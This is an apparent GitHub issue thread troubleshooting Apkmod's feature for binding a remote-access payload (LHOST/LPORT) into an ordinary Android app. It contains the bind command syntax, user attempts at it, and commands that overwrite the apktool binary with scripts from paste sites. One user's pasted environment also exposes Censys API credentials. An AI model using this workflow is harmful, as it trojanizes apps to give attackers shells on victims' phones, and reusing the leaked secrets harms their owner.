Closed bl4ckholez closed 4 years ago
Plz update apkmod by apkmod -u
then try again. By the way, Apkmod has its own bind feature so you can try
apkmod -b /path/to/your/app.apk LHOST=yourlhost LPORT=yourport -o /path/to/final/app.pak
(09:53:41) ○ [u0_a284@localhost] ~ → apkmod -b $HOME/app.apk -o $HOME/aapp.apk LHOST=127.0.0.1 LPORT=4444 [] Binding /data/data/com.termux/files/home/app.apk Using APK template: /data/data/com.termux/files/home/app.apk [] Decompiling original APK.. [*] Decompiling payload APK.. Error: No such file or directory @ rb_sysopen - /data/data/com.termux/files/usr/share/TermuxAlpine/root/.bind/original/AndroidManifest.xml [!] Can't bind, take screenshot and open a issue on github (09:55:18) ○ [u0_a284@localhost] ~ →
Give your original app ( app.apk in this case ) plus give output with screenshots of following commands
termux-info
apktool -version
apkmod -v
System information: Linux localhost 3.18.24-perf-gc0dfdcc #1 SMP PREEMPT Tue Nov 8 03:54:04 CST 2016 aarch64 Android Termux-packages arch: aarch64 Android version: 6.0.1 Device manufacturer: asus Device model: ASUS_Z017DB
Error relocating /data/data/com.termux/files/usr/lib/libz.so.1: __errno: symbol not found
1.2
Check alpine is working or not , by executing startalpine
and try following command inside alpine :
apktool -version
startalpine [root@localhost home]# apktool -version 2.4.0
Try this inside termux bash $(which apktool) -version
and give output
bash $(which apktool) -version Error relocating /data/data/com.termux/files/usr/lib/libz.so.1: __errno: symbol not found
Same problem
@bl4ckholez try this in termux
unset LD_LIBRARY_PATH
thenapktool -version
@Hax4us CANNOT LINK EXECUTABLE "proot": library "libtalloc.so.2" not found [1] 22690 abort apktool -version
CANNOT LINK EXECUTABLE: library "libandroid-support.so" not found page record for 0x7f9cc5a010 was not found (block_size=16) () ○ [u0_a284@localhost] ~
CANNOT LINK EXECUTABLE: library "libtalloc.so.2" not found CANNOT LINK EXECUTABLE: library "libandroid-support.so" not found page record for 0x7fa620a010 was not found (block_size=16)
@bl4ckholez @hocinelop try this now in termux
wget https://pastebin.com/raw/AxJmaf6r -O $PREFIX/share/TermuxAlpine/usr/bin/apktool
apktool -version
wget https://pastebin.com/raw/AxJmaf6r -O $PREFIX/share/TermuxAlpine/usr/bin/apktool --2019-09-19 19:08:44-- https://pastebin.com/raw/AxJmaf6r Resolving pastebin.com... 104.22.3.84, 104.22.2.84, 2606:4700:10::6816:254, ... Connecting to pastebin.com|104.22.3.84|:443... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/plain] Saving to: ‘/data/data/com.termux/files/usr/share/TermuxAlpine/usr/bin/apktool’
/data/data/com.ter [ <=> ] 123 --.-KB/s in 0s
2019-09-19 19:09:12 (6.12 MB/s) - ‘/data/data/com.termux/files/usr/share/TermuxAlpine/usr/bin/apktool’ saved [123]
Error relocating /data/data/com.termux/files/usr/lib/libz.so.1: __errno: symbol not found
@bl4ckholez whats output of env
env SHELL=/data/data/com.termux/files/usr/bin/bash LSCOLORS=Gxfxcxdxdxegedabagacad GREP_COLOR=1;33 HISTCONTROL=ignorespace:erasedups HISTSIZE=5000 BASH_IT=/data/data/com.termux/files/home/.bash_it PREFIX=/data/data/com.termux/files/usr CENSYS_API_ID=c95768c1-31a9-4a28-b488-f1acfb1fd45c PWD=/data/data/com.termux/files/home TODO=t CENSYS_API_SECRET=VMZdaTQOnM4R0A2LjRnmGmJKep3sHKAT EXTERNAL_STORAGE=/sdcard LD_PRELOAD=/data/data/com.termux/files/usr/lib/libtermux-exec.so GIT_HOSTING=git@git.domain.com HOME=/data/data/com.termux/files/home LANG=en_US.UTF-8 AUTOFEATURE=true autotest TMPDIR=/data/data/com.termux/files/usr/tmp ANDROID_DATA=/data TERM=xterm-256color IRC_CLIENT=irssi BASH_IT_THEME=nwinkler_random_colors SHLVL=1 ANDROID_ROOT=/system LD_LIBRARY_PATH=/data/data/com.termux/files/usr/lib PATH=/data/data/com.termux/files/usr/bin:/data/data/com.termux/files/usr/bin/applets OLDPWD=/data/data/com.termux/files/home/.bash_it SCMCHECK=true =/data/data/com.termux/files/usr/bin/env
try :
curl -L https://github.com/Hax4us/Apkmod/raw/master/scripts/apktool_alpine.sh -o $PREFIX/share/TermuxAlpine/usr/bin/apktool
curl https://file.io/B1wbtE -o $(which apktool)
apktool -version
$ apkmod -b /data/data/com.termux/files/home/r.apk -o /sdcard LHOST=server.net LPORT=4444 [*] Binding /storage/emulated/0 Using APK template: /storage/emulated/0 Error: The following options failed to validate: LHOST, LPORT. [!] Can't bind, take screenshot and open a issue on github $
LINK FILE 404 NOT FOUND.
Oops sorry file was deleted now I uploaded again :
curl -L https://gist.githubusercontent.com/Hax4us/594aa21bb7d18f5fc2e9eba9b6e15433/raw/ac6b04f1495febf2ca06c3eb544934fd781daaa2/apktool_termux.sh -o $(which apktool)
apktool -version
$ apkmod -b /data/data/com.termux/files/home/r.apk -o /sdcard LHOST=server.net LPORT=4444 [*] Binding /storage/emulated/0 Using APK template: /storage/emulated/0 Error: The following options failed to validate: LHOST, LPORT. [!] Can't bind, take screenshot and open a issue on github $
Your LHOST is wrong so give valid one.
apkmod -b /data/data/com.termux/files/home/r.apk -o /sdcard LHOST=127.0.0.1 LPORT=4444 [*] Binding /storage/emulated/0 Using APK template: /storage/emulated/0 Error: The following options failed to validate: LHOST, LPORT. [!] Can't bind, take screenshot and open a issue on github
@rk649477 don't mix different type of issues in one hence open your separate issue.
(14:41:23) ○ [u0_a284@localhost] ~ → curl -L https://gist.githubusercontent.com/Hax4us/594aa21bb7d18f5fc2e9eba9b6e15433/raw/ac6b04f1495febf2ca06c3eb544934fd781daaa2/apktool_termux.sh -o $(which apktool) % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 382 100 382 0 0 451 0 --:--:-- --:--:-- --:--:-- 451
(14:41:47) ○ [u0_a284@localhost] ~ → apktool -version 2.4.0
@bl4ckholez update your apkmod to v1.3 by apkmod -u
and issue should be solved now
apkmod -u [!] Invalid option: -u
apkmod -u [!] Invalid option: -u
I see , I forget to add -u option well then install manually from README instructions and don't forget to remove or delete old setup.sh file before downloading new one
You can reopen it if problem still exist.
cannot link executable "proot": library "libtalloc.so.2" not found Please help me
try apt update && apt upgrade
then reinstall apkmod by apkmod -u
It worked thanks
Bro plz help
[+] Copying APKs... done. [+] Decompiling APKs...
(standard_in) 1: syntax error /data/data/com.termux/files/usr/bin/apkmod: line 118: [: 1: unary operator expected [] Decompiling /data/data/com.termux/files/home/Linder/TempP/e.apk Error relocating /data/data/com.termux/files/usr/lib/libz.so.1: __errno: symbol not found [] Decompiled into /data/data/com.termux/files/home/Linder/TempP/e (standard_in) 1: syntax error /data/data/com.termux/files/usr/bin/apkmod: line 118: [: 1: unary operator expected [] Decompiling /data/data/com.termux/files/home/Linder/TempP/payload.apk Error relocating /data/data/com.termux/files/usr/lib/libz.so.1: __errno: symbol not found [] Decompiled into /data/data/com.termux/files/home/Linder/TempP/payload
done. [+] Copying payload smali codes to target apk... cp: cannot stat 'payload/smali/com/': No such file or directory done. [+] Fetching Package Name & MainActivity smali location ERROR OCCURED! EXITING...
[Errno 2] No such file or directory: 'e/AndroidManifest.xml'